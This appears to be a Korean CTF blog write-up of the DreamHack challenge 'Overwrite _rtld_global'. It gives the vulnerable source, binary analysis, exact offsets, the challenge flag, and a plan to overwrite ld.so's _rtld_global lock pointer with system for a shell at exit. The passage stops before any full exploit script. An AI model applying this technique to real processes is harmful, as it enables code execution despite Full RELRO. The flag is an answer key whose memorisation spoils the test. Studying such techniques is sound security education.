[๐Ÿฅ‰ Bronze 2] GOT๊ฐ€ ์ž ๊ฒจ ์žˆ์œผ๋ฉด ld.so๋ฅผ ๋ณธ๋‹ค โ€” DreamHack Overwrite _rtld_global ํ’€์ด

2026-07-28ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] GOT๊ฐ€ ์ž ๊ฒจ ์žˆ์œผ๋ฉด ld.so๋ฅผ ๋ณธ๋‹ค โ€” DreamHack Overwrite _rtld_global ํ’€์ด

Full RELRO์— PIE๊นŒ์ง€ ๊ฑธ๋ฆฐ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ๋ฅผ ๋ฌด์ œํ•œ์œผ๋กœ ๋‚ด์ค€๋‹ค. GOT๋Š” ์ฝ๊ธฐ ์ „์šฉ์ด๋ผ ์†๋Œˆ ์ˆ˜ ์—†์ง€๋งŒ, ld.so์˜ ์ „์—ญ ๊ตฌ์กฐ์ฒด _rtld_global์€ RELRO ๋ฐ–์— ์žˆ๊ณ  ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋  ๋•Œ _dl_fini๊ฐ€ ๊ทธ ์•ˆ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ถ€๋ฅธ๋‹ค. ์ธ์ž์™€ ํ˜ธ์ถœ ๋Œ€์ƒ์ด ๊ฐ™์€ ๊ตฌ์กฐ์ฒด ์•ˆ์— ์žˆ์–ด์„œ ์“ฐ๊ธฐ ๋‘ ๋ฒˆ์ด๋ฉด ์…ธ์ด ๋œฌ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Overwrite _rtld_global ๋ถ„๋ฅ˜: pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}

๊ณต๊ฒฉ ์ „์ฒด ๊ทธ๋ฆผ โ€” ld.so์˜ rtld_global ๊ตฌ์กฐ์ฒด ๋ฐฐ์น˜์™€, ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ ์‹œ dl_fini๊ฐ€ ๊ทธ ์•ˆ์˜ lock ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ถ€๋ฅด๋Š” ๊ฒฝ๋กœ
๊ณต๊ฒฉ ์ „์ฒด ๊ทธ๋ฆผ โ€” ld.so์˜ rtld_global ๊ตฌ์กฐ์ฒด ๋ฐฐ์น˜์™€, ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ ์‹œ dl_fini๊ฐ€ ๊ทธ ์•ˆ์˜ lock ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ถ€๋ฅด๋Š” ๊ฒฝ๋กœ

์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ๋ฅผ ์†์— ์ฅ์—ˆ๋Š”๋ฐ GOT๊ฐ€ ์ฝ๊ธฐ ์ „์šฉ์ด๋ฉด ๋‹ค์Œ ํ‘œ์ ์„ ์–ด๋””์„œ ์ฐพ์„๊นŒ.

์ด ๋ฌธ์ œ์˜ ๋‹ต์€ ํ”„๋กœ๊ทธ๋žจ ๋ฐ–์— ์žˆ๋‹ค. ์‹คํ–‰ ํŒŒ์ผ์ด ์•„๋‹ˆ๋ผ ๋™์  ๋ง์ปค(ld.so) ์•ˆ์˜ ์ „์—ญ ๋ณ€์ˆ˜๋‹ค. RELRO๋Š” ์‹คํ–‰ ํŒŒ์ผ๊ณผ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ฐ๊ฐ์˜ GOT๋ฅผ ์ž ๊ทธ์ง€๋งŒ, ld.so๊ฐ€ ์ž๊ธฐ ์ƒํƒœ๋ฅผ ๋‹ด์•„ ๋‘๋Š” _rtld_global์€ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋๊นŒ์ง€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์ฑ„๋กœ ๋‚จ๋Š”๋‹ค. ๋ง์ปค๊ฐ€ ๊ณ„์† ๊ฐฑ์‹ ํ•ด์•ผ ํ•˜๋Š” ๊ฐ’์ด๋ผ ์ž ๊ธ€ ์ˆ˜๊ฐ€ ์—†๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๊ทธ ๊ตฌ์กฐ์ฒด์—๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ๋“ค์–ด ์žˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์ด ์ •์ƒ ์ข…๋ฃŒํ•  ๋•Œ ๋ฐ˜๋“œ์‹œ ํ˜ธ์ถœ๋˜๋Š”.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Overwrite _rtld_global
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜pwnable
์ œ๊ณต ํŒŒ์ผow_rtld ยท ow_rtld.c ยท libc-2.27.so ยท ld-2.27.so ยท Dockerfile
์„œ๋ฒ„socat TCP-LISTEN:7182 EXEC:/home/ow_rtld/ow_rtld (Ubuntu 18.04)
๋ณดํ˜ธ ๊ธฐ๋ฒ•Full RELRO ยท PIE ยท NX ยท Stack Canary (์ „๋ถ€ ์ผœ์ง)
ํ•ต์‹ฌ ์ทจ์•ฝ์ ํšŸ์ˆ˜ ์ œํ•œ ์—†๋Š” ์ž„์˜ ์ฃผ์†Œ 8๋ฐ”์ดํŠธ ์“ฐ๊ธฐ + libc ์ฃผ์†Œ ๋ฌด์ƒ ์œ ์ถœ
ํ•ต์‹ฌ ๊ธฐ๋ฒ•_rtld_global์˜ _dl_rtld_lock_recursive๋ฅผ system์œผ๋กœ ๊ต์ฒด

๋ฌธ์ œ ์„ค๋ช…์€ ํ•œ ์ค„์ด๋‹ค. "Exploit Tech: _rtld_global์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค." ๋“œ๋ฆผํ•ต ๊ฐ•์˜ ํ•˜๋‚˜๋ฅผ ๊ทธ๋Œ€๋กœ ์‹ค์Šตํ•˜๋ผ๋Š” ๋œป์ด๋ผ ๋ชฉํ‘œ๋Š” ์ฒ˜์Œ๋ถ€ํ„ฐ ์ •ํ•ด์ ธ ์žˆ๋‹ค. ๊ทธ๋ž˜๋„ ์˜คํ”„์…‹์„ ๋‚จ์ด ์ ์–ด ๋†“์€ ์ˆซ์ž๋กœ ๊ฐ€์ ธ๋‹ค ์“ฐ๋ฉด ์ด ๋ฌธ์ œ์˜ ์žฌ๋ฏธ๊ฐ€ ์—†์–ด์ง„๋‹ค. ์ œ๊ณต๋œ ld-2.27.so ํ•˜๋‚˜๋งŒ ๋†“๊ณ  ํ•„์š”ํ•œ ๊ฐ’์„ ์ „๋ถ€ ์ง์ ‘ ๋ฝ‘์•„๋ƒˆ๋‹ค.

ํ’€์ด ํ๋ฆ„์€ ์ด๋ ‡๋‹ค.

  1. main์ด ์ฒซ ์ค„์—์„œ stdout์„ ์ถœ๋ ฅํ•ด ์ค€๋‹ค โ†’ libc ๋ฒ ์ด์Šค
  2. libc ๋ฒ ์ด์Šค์—์„œ ld.so ๋ฒ ์ด์Šค๋ฅผ ์œ ๋„ (๋‘˜ ์‚ฌ์ด ๊ฑฐ๋ฆฌ๊ฐ€ ๊ณ ์ •์ด๋‹ค)
  3. _rtld_global+0x908์— /bin/sh ๋ฌธ์ž์—ด
  4. _rtld_global+0xF00์— system ์ฃผ์†Œ
  5. ๋ฉ”๋‰ด์— 1์ด ์•„๋‹Œ ๊ฐ’์„ ๋„ฃ์–ด main์„ ๋ฆฌํ„ด์‹œํ‚ค๋ฉด _dl_fini๊ฐ€ ์•Œ์•„์„œ ์…ธ์„ ๋„์šด๋‹ค


๐Ÿ”ฌ ์ •์ฐฐ โ€” ๋ฌด์—‡์„ ์ฅ๊ณ  ์‹œ์ž‘ํ•˜๋‚˜

๋จผ์ € ๋ฐ”์ด๋„ˆ๋ฆฌ๋ถ€ํ„ฐ ๋ณธ๋‹ค.

file extracted/ow_rtld; checksec --file=extracted/ow_rtld

file๊ณผ checksec ์ถœ๋ ฅ โ€” PIE ์‹คํ–‰ ํŒŒ์ผ์ด๋ฉฐ Full RELRO, Canary, NX๊ฐ€ ๋ชจ๋‘ ์ผœ์ ธ ์žˆ๊ณ  ์‹ฌ๋ณผ์€ ๋‚จ์•„ ์žˆ๋‹ค
file๊ณผ checksec ์ถœ๋ ฅ โ€” PIE ์‹คํ–‰ ํŒŒ์ผ์ด๋ฉฐ Full RELRO, Canary, NX๊ฐ€ ๋ชจ๋‘ ์ผœ์ ธ ์žˆ๊ณ  ์‹ฌ๋ณผ์€ ๋‚จ์•„ ์žˆ๋‹ค

๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ํ•˜๋‚˜๋„ ๋น ์ง€์ง€ ์•Š์•˜๋‹ค. Full RELRO, ์Šคํƒ ์นด๋‚˜๋ฆฌ, NX, PIE. Bronze 2 ๋‚œ์ด๋„์น˜๊ณ ๋Š” ๊ฝค ๋‹จ๋‹จํ•ด ๋ณด์ธ๋‹ค.

์†Œ์Šค๋„ ๊ฐ™์ด ์ค€๋‹ค. 36์ค„์งœ๋ฆฌ ํŒŒ์ผ์ด ์ „๋ถ€์ธ๋ฐ, ์ทจ์•ฝ์ ์€ ์ˆจ๊ฒจ ๋†“์ง€๋„ ์•Š์•˜๋‹ค.

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
 
#include <stdio.h>
#include <stdlib.h>
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
int main() {
  long addr;
  long data;
  int idx;
 
  init();
 
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}

์ฃผ๋Š” ๊ฒŒ ๋‘ ๊ฐ€์ง€๋‹ค.

์ฒซ์งธ, printf("stdout: %p\n", stdout). stdout์€ libc ์•ˆ์˜ _IO_2_1_stdout_ ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๋ผ, ์ด ํ•œ ์ค„๋กœ libc ๋ฒ ์ด์Šค๊ฐ€ ๊ทธ๋ƒฅ ๋‚˜์˜จ๋‹ค. ์œ ์ถœ์„ ์œ„ํ•ด ๋ญ˜ ํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค.

๋‘˜์งธ, *(long long *)addr = data. ์ฃผ์†Œ๋„ ๊ฐ’๋„ ๋‚ด๊ฐ€ ์ •ํ•˜๊ณ , while (1) ์•ˆ์ด๋ผ ํšŸ์ˆ˜ ์ œํ•œ์ด ์—†๋‹ค. ์“ฐ๊ณ  ์‹ถ์€ ๋งŒํผ ์“ด ๋‹ค์Œ idx์— 1์ด ์•„๋‹Œ ๊ฐ’์„ ๋„ฃ์œผ๋ฉด main์ด ๋ฆฌํ„ดํ•œ๋‹ค.

๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ๋กœ ํ•œ ๋ฒˆ ๋” ํ™•์ธํ–ˆ๋‹ค.

objdump -d -M intel --no-show-raw-insn extracted/ow_rtld | sed -n "/<main>:/,/^$/p" | sed -f annot_main.sed

annot_main.sed๋Š” objdump ์ถœ๋ ฅ์˜ ํŠน์ • ์ฃผ์†Œ ์ค„ ๋์— ์„ค๋ช…์„ ๋ง๋ถ™์ด๋Š” ์น˜ํ™˜ ๊ทœ์น™์ด๋‹ค. ํ™”๋ฉด์— ๋ณด์ด๋Š” <-- ์ฃผ์„์€ objdump๊ฐ€ ์ฐ์€ ๊ฒŒ ์•„๋‹ˆ๋ผ ๋‚ด๊ฐ€ ๋ถ™์ธ ๊ฒƒ์ด๋‹ค.

s|^\( *83e:.*\)|\1        <-- stdout(FILE*) ํฌ์ธํ„ฐ ๋กœ๋“œ|
s|^\( *854:.*\)|\1        <-- "stdout: %p" ์ถœ๋ ฅ = libc ์ฃผ์†Œ ์œ ์ถœ|
s|^\( *8e7:.*\)|\1        <-- *(long long *)addr = data  : ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ|
s|^\( *902:.*\)|\1        <-- while(1) ๋กœ ๋ณต๊ท€ (์“ฐ๊ธฐ ํšŸ์ˆ˜ ๋ฌด์ œํ•œ)|

objdump๋กœ ๋ฝ‘์€ main ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ โ€” 0x8e7์˜ mov ํ•œ ์ค„์ด ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ์ด๊ณ  0x902์˜ jmp๊ฐ€ ๊ทธ ๋ฃจํ”„๋ฅผ ๋ฌดํ•œ ๋ฐ˜๋ณต์‹œํ‚จ๋‹ค
objdump๋กœ ๋ฝ‘์€ main ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ โ€” 0x8e7์˜ mov ํ•œ ์ค„์ด ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ์ด๊ณ  0x902์˜ jmp๊ฐ€ ๊ทธ ๋ฃจํ”„๋ฅผ ๋ฌดํ•œ ๋ฐ˜๋ณต์‹œํ‚จ๋‹ค

8e7์˜ mov QWORD PTR [rdx],rax ํ•œ ์ค„์ด ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค. rdx๋Š” ๋‚ด๊ฐ€ ๋„ฃ์€ ์ฃผ์†Œ, rax๋Š” ๋‚ด๊ฐ€ ๋„ฃ์€ ๊ฐ’. ๊ฒ€์‚ฌ๊ฐ€ ์—†๋‹ค. ๊ทธ๋ฆฌ๊ณ  902์˜ jmp 859๊ฐ€ ๊ทธ ๋ฃจํ”„๋ฅผ ๋‹ค์‹œ ์ฒ˜์Œ์œผ๋กœ ๋Œ๋ฆฐ๋‹ค.

888์˜ cmp eax,1 / jne 8ec๋„ ๊ฐ™์ด ๋ด ๋‘˜ ๋งŒํ•˜๋‹ค. idx๊ฐ€ 1์ด ์•„๋‹ˆ๋ฉด 8ec๋กœ ๋น ์ ธ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ  main์ด ๋ฆฌํ„ดํ•œ๋‹ค. ์ฆ‰ ์ข…๋ฃŒ ์‹œ์ ์„ ๋‚ด๊ฐ€ ๊ณ ๋ฅผ ์ˆ˜ ์žˆ๋‹ค. ์“ฐ๊ธฐ๋ฅผ ๋‹ค ๋๋‚ธ ๋‹ค์Œ ์›ํ•˜๋Š” ์ˆœ๊ฐ„์— ์ข…๋ฃŒ ๊ฒฝ๋กœ๋ฅผ ๋ฐŸ๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋œป์ด๊ณ , ์ด๊ฒŒ ๋‚˜์ค‘์— ํŠธ๋ฆฌ๊ฑฐ๊ฐ€ ๋œ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” Full RELRO๊ฐ€ ์ž ๊ทธ๋Š” ๋ฒ”์œ„

์ž„์˜ ์“ฐ๊ธฐ๋ฅผ ์–ป์œผ๋ฉด ๋ณดํ†ต ์ œ์ผ ๋จผ์ € GOT๋ฅผ ๋ณธ๋‹ค. printf@got๋ฅผ system์œผ๋กœ ๋ฐ”๊พธ๊ณ  printf("/bin/sh")๊ฐ€ ๋ถˆ๋ฆฌ๊ธฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋Š” ์‹์ด๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ์•ˆ ๋œ๋‹ค.

RELRO(RELocation Read-Only)๋Š” ๋ง์ปค๊ฐ€ ์žฌ๋ฐฐ์น˜๋ฅผ ๋๋‚ธ ๋’ค ๊ทธ ์˜์—ญ์„ mprotect๋กœ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๋Œ๋ ค๋†“๋Š” ์™„ํ™” ๊ธฐ๋ฒ•์ด๋‹ค. Partial RELRO๋Š” .init_array ๊ฐ™์€ ์ผ๋ถ€๋งŒ ์ž ๊ทธ๊ณ  GOT๋Š” ์—ด์–ด ๋‘์ง€๋งŒ, Full RELRO๋Š” ๋กœ๋”ฉ ์‹œ์ ์— ๋ชจ๋“  ์‹ฌ๋ณผ์„ ๋ฏธ๋ฆฌ ํ•ด์„(BIND_NOW)ํ•œ ๋’ค GOT๊นŒ์ง€ ํ†ต์งธ๋กœ ์ž ๊ทผ๋‹ค. lazy binding์„ ํฌ๊ธฐํ•˜๋Š” ๋Œ€์‹  GOT ๋ฎ์–ด์“ฐ๊ธฐ๋ฅผ ์›์ฒœ ์ฐจ๋‹จํ•œ๋‹ค.

์ •๋ง ๊ทธ๋Ÿฐ์ง€ ์„ธ๊ทธ๋จผํŠธ ๋ฐฐ์น˜๋กœ ํ™•์ธํ–ˆ๋‹ค.

readelf -lW extracted/ow_rtld | grep -E "Type|GNU_RELRO|LOAD"; readelf -dW extracted/ow_rtld | grep -E "BIND_NOW|FLAGS"

readelf ์ถœ๋ ฅ โ€” GNU_RELRO ์„ธ๊ทธ๋จผํŠธ๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ LOAD ์˜์—ญ ์•ž๋ถ€๋ถ„์„ ๋ฎ๊ณ  ๋™์  ์„น์…˜์— BIND_NOW ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ผœ์ ธ ์žˆ๋‹ค
readelf ์ถœ๋ ฅ โ€” GNU_RELRO ์„ธ๊ทธ๋จผํŠธ๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ LOAD ์˜์—ญ ์•ž๋ถ€๋ถ„์„ ๋ฎ๊ณ  ๋™์  ์„น์…˜์— BIND_NOW ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ผœ์ ธ ์žˆ๋‹ค

์ฝ๋Š” ๋ฒ•์€ ์ด๋ ‡๋‹ค.

์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ LOAD ์„ธ๊ทธ๋จผํŠธ๋Š” 0x200da0์—์„œ ์‹œ์ž‘ํ•ด 0x200290๋ฐ”์ดํŠธ, ์ฆ‰ 0x201030๊นŒ์ง€๋‹ค. GNU_RELRO๋Š” ๊ฐ™์€ 0x200da0์—์„œ ์‹œ์ž‘ํ•ด 0x260๋ฐ”์ดํŠธ, 0x201000๊นŒ์ง€๋ฅผ ๋ฎ๋Š”๋‹ค. GOT๋Š” 0x200fa0์— ์žˆ์œผ๋‹ˆ RELRO ๋ฒ”์œ„ ์•ˆ์ด๋‹ค. ์ดˆ๊ธฐํ™”๊ฐ€ ๋๋‚˜๋ฉด ์ฝ๊ธฐ ์ „์šฉ์ด ๋œ๋‹ค.

BIND_NOW ํ”Œ๋ž˜๊ทธ๋„ ์ผœ์ ธ ์žˆ๋‹ค. ์ •๋ง Full RELRO๋‹ค. GOT๋Š” ํฌ๊ธฐํ•ด์•ผ ํ•œ๋‹ค.

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ โ€” GOT๊ฐ€ ๋ง‰ํžˆ๋ฉด ๋ณดํ†ต ์–ด๋””๋ฅผ ๋ณด๋Š”๊ฐ€, ๊ทธ๋ฆฌ๊ณ  ์—ฌ๊ธฐ์„  ์™œ ๋‹ค ์•ˆ ๋˜๋Š”๊ฐ€

ํ‘œ์  ํ›„๋ณด๋ฅผ ํ•˜๋‚˜์”ฉ ์ง€์›Œ ๋‚˜๊ฐ”๋‹ค. ๊ฒฐ๊ณผ๋งŒ ๋ณด๋ฉด ๋ป”ํ•˜์ง€๋งŒ, ์ง€์›Œ ๋ณด๊ธฐ ์ „์—๋Š” ๋ป”ํ•˜์ง€ ์•Š์•˜๋‹ค.

__malloc_hook / __free_hook โ€” glibc 2.27์ด๋ฉด ์•„์ง ์‚ด์•„ ์žˆ๋Š” ๊ณ ์ „ ํ‘œ์ ์ด๋‹ค. ํ•˜์ง€๋งŒ ํ›…์€ malloc์ด๋‚˜ free๊ฐ€ ์‹ค์ œ๋กœ ๋ถˆ๋ ค์•ผ ๋ฐœ๋™ํ•œ๋‹ค. ์ด ํ”„๋กœ๊ทธ๋žจ์€ ํž™์„ ์“ฐ์ง€ ์•Š๋Š”๋‹ค. init()์ด setvbuf(stdin, 0, 2, 0)๋กœ ๋‘ ์ŠคํŠธ๋ฆผ์„ ๋ชจ๋‘ _IONBF(๋น„๋ฒ„ํผ)๋กœ ๋งŒ๋“ค์–ด ๋ฒ„๋ ค์„œ stdio๊ฐ€ ๋ฒ„ํผ๋ฅผ ํ• ๋‹นํ•  ์ผ์กฐ์ฐจ ์—†๋‹ค. scanf๋„ printf๋„ ํž™์„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ๋๋‚œ๋‹ค.

__exit_funcs ๋ฆฌ์ŠคํŠธ โ€” exit()๊ฐ€ ์ˆœํšŒํ•˜๋Š” atexit ํ•ธ๋“ค๋Ÿฌ ๋ฐฐ์—ด์ด๋‹ค. ์—ฌ๊ธฐ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ system์œผ๋กœ ๋ฐ”๊พธ๋ฉด ๋  ๊ฒƒ ๊ฐ™์ง€๋งŒ, glibc๋Š” ์ด ํฌ์ธํ„ฐ๋“ค์„ PTR_MANGLE๋กœ ๊ผฌ์•„์„œ ์ €์žฅํ•œ๋‹ค. fs:0x30์— ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค๋ณ„ guard ๊ฐ’๊ณผ XORํ•œ ๋’ค ๋น„ํŠธ ํšŒ์ „์„ ๊ฑด๋‹ค. guard๋ฅผ ์ฝ์„ ์ˆ˜๋‹จ์ด ์—†์œผ๋‹ˆ(์šฐ๋ฆฌ์—๊ฒ ์“ฐ๊ธฐ๋งŒ ์žˆ๊ณ  ์ฝ๊ธฐ๊ฐ€ ์—†๋‹ค) ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ผฌ์ธ ๊ฐ’์„ ๋งŒ๋“ค ์ˆ˜ ์—†๋‹ค.

_IO_list_all ๊ธฐ๋ฐ˜ FILE ์œ„์กฐ โ€” vtable์„ ๊ฐ€์งœ ํ…Œ์ด๋ธ”๋กœ ๋Œ๋ฆฌ๋Š” house of orange ๊ณ„์—ด. glibc 2.27์—๋Š” ์ด๋ฏธ IO_validate_vtable์ด ๋“ค์–ด์™€ ์žˆ์–ด์„œ vtable ํฌ์ธํ„ฐ๊ฐ€ __libc_IO_vtables ์„น์…˜ ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜๋ฉด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฃฝ์ธ๋‹ค. _IO_str_jumps ๊ฐ™์€ ํ•ฉ๋ฒ• vtable์„ ์žฌํ™œ์šฉํ•˜๋Š” ์šฐํšŒ๋Š” ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๊ฐ€์งœ FILE ๊ตฌ์กฐ์ฒด ํ•˜๋‚˜๋ฅผ ํ†ต์งธ๋กœ ์กฐ๋ฆฝํ•ด์•ผ ํ•ด์„œ 8๋ฐ”์ดํŠธ ์“ฐ๊ธฐ๋ฅผ ์—ด ๋ฒˆ ๋„˜๊ฒŒ ์จ์•ผ ํ•œ๋‹ค. ์ด ๋ฌธ์ œ ์ด๋ฆ„์ด _rtld_global์ธ๋ฐ ๊ตณ์ด ๊ทธ๋Ÿด ์ด์œ ๊ฐ€ ์—†๋‹ค.

์ฝ๊ธฐ ์›์‹œ๊ฐ€ ์—†๋‹ค๋Š” ๊ฒŒ ์—ฌ๊ธฐ์„œ ๊ณ„์† ๋ฐœ๋ชฉ์„ ์žก๋Š”๋‹ค. ์œ ์ถœ์€ stdout ํ•œ ์ค„์ด ์ „๋ถ€๊ณ , ๊ทธ ๋’ค๋กœ๋Š” ๋ˆˆ์„ ๊ฐ๊ณ  ์จ์•ผ ํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ๊ฐ’์„ ์ฝ์ง€ ์•Š๊ณ ๋„ ์ •ํ™•ํžˆ ์–ด๋””์— ๋ฌด์—‡์ด ์žˆ๋Š”์ง€ ์ •์ ์œผ๋กœ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋Š” ํ‘œ์ ์ด์–ด์•ผ ํ•œ๋‹ค. _rtld_global์ด ๋”ฑ ๊ทธ๋ ‡๋‹ค.



๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” _rtld_global์ด๋ผ๋Š” ์‚ฌ๊ฐ์ง€๋Œ€

๋™์  ๋ง์ปค๋„ ๊ฒฐ๊ตญ ํ•˜๋‚˜์˜ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋‹ค. ํ”„๋กœ์„ธ์Šค์— ๋งคํ•‘๋˜๊ณ , ์ฝ”๋“œ์™€ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ–๋Š”๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋ง์ปค๋Š” ์‹คํ–‰ ๋‚ด๋‚ด ์ž๊ธฐ ์ƒํƒœ๋ฅผ ์–ด๋”˜๊ฐ€์— ์œ ์ง€ํ•ด์•ผ ํ•œ๋‹ค. ์–ด๋–ค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๋ช‡ ๊ฐœ ๋กœ๋“œ๋๋Š”์ง€, ์‹ฌ๋ณผ ๊ฒ€์ƒ‰ ์Šค์ฝ”ํ”„๊ฐ€ ์–ด๋–ป๊ฒŒ ์ƒ๊ฒผ๋Š”์ง€, dlopen์ด ๋™์‹œ์— ๋ถˆ๋ฆด ๋•Œ ์“ธ ๋ฝ์€ ๋ฌด์—‡์ธ์ง€.

๊ทธ ์ƒํƒœ๋ฅผ ์ „๋ถ€ ๋‹ด์€ ๊ฒƒ์ด struct rtld_global์ด๊ณ , ์ธ์Šคํ„ด์Šค ์ด๋ฆ„์ด _rtld_global์ด๋‹ค. dlopen ํ•œ ๋ฒˆ์ด๋ฉด ๋‚ด์šฉ์ด ๋ฐ”๋€Œ๋Š” ๊ฐ’๋“ค์ด๋ผ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๋งŒ๋“ค ์ˆ˜๊ฐ€ ์—†๋‹ค. (์ฐธ๊ณ ๋กœ ์ ˆ๋Œ€ ์•ˆ ๋ฐ”๋€Œ๋Š” ๊ฒƒ๋งŒ ๋ชจ์•„ ๋‘” _rtld_global_ro๋Š” ๋”ฐ๋กœ ์žˆ๊ณ , ๊ทธ์ชฝ์€ ์‹ค์ œ๋กœ ์ž ๊ธด๋‹ค.)

์‹ฌ๋ณผ์€ ld.so์— ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋ผ ์žˆ๋‹ค. ํ•„์š”ํ•œ ์ƒ์ˆ˜ ์„ธ ๊ฐœ๋ฅผ ํ•œ ๋ฒˆ์— ๋ฝ‘์•˜๋‹ค.

readelf --dyn-syms -W extracted/libc-2.27.so | grep -E "_IO_2_1_stdout_| system@@"; readelf --dyn-syms -W extracted/ld-2.27.so | grep -E "_rtld_global@@"

readelf ์‹ฌ๋ณผ ์ถœ๋ ฅ โ€” libc์—์„œ stdout ๊ตฌ์กฐ์ฒด์™€ system ํ•จ์ˆ˜์˜ ์˜คํ”„์…‹์„, ld.so์—์„œ rtld_global์˜ ์˜คํ”„์…‹๊ณผ ํฌ๊ธฐ๋ฅผ ํ™•์ธํ–ˆ๋‹ค
readelf ์‹ฌ๋ณผ ์ถœ๋ ฅ โ€” libc์—์„œ stdout ๊ตฌ์กฐ์ฒด์™€ system ํ•จ์ˆ˜์˜ ์˜คํ”„์…‹์„, ld.so์—์„œ rtld_global์˜ ์˜คํ”„์…‹๊ณผ ํฌ๊ธฐ๋ฅผ ํ™•์ธํ–ˆ๋‹ค

์‹ฌ๋ณผํŒŒ์ผ์˜คํ”„์…‹ํฌ๊ธฐ
_IO_2_1_stdout_libc-2.27.so0x3ec760224
systemlibc-2.27.so0x4f44045
_rtld_globalld-2.27.so0x2280603960

_rtld_global์€ 3960๋ฐ”์ดํŠธ, ์ฆ‰ 0xF78์งœ๋ฆฌ ๊ตฌ์กฐ์ฒด๋‹ค. ์ด ์•ˆ ์–ด๋”˜๊ฐ€์— ์šฐ๋ฆฌ๊ฐ€ ๋ถ€๋ฅผ ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ์žˆ์–ด์•ผ ํ•œ๋‹ค.

์ข…๋ฃŒ ๊ฒฝ๋กœ๊ฐ€ ๋ถ€๋ฅด๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ

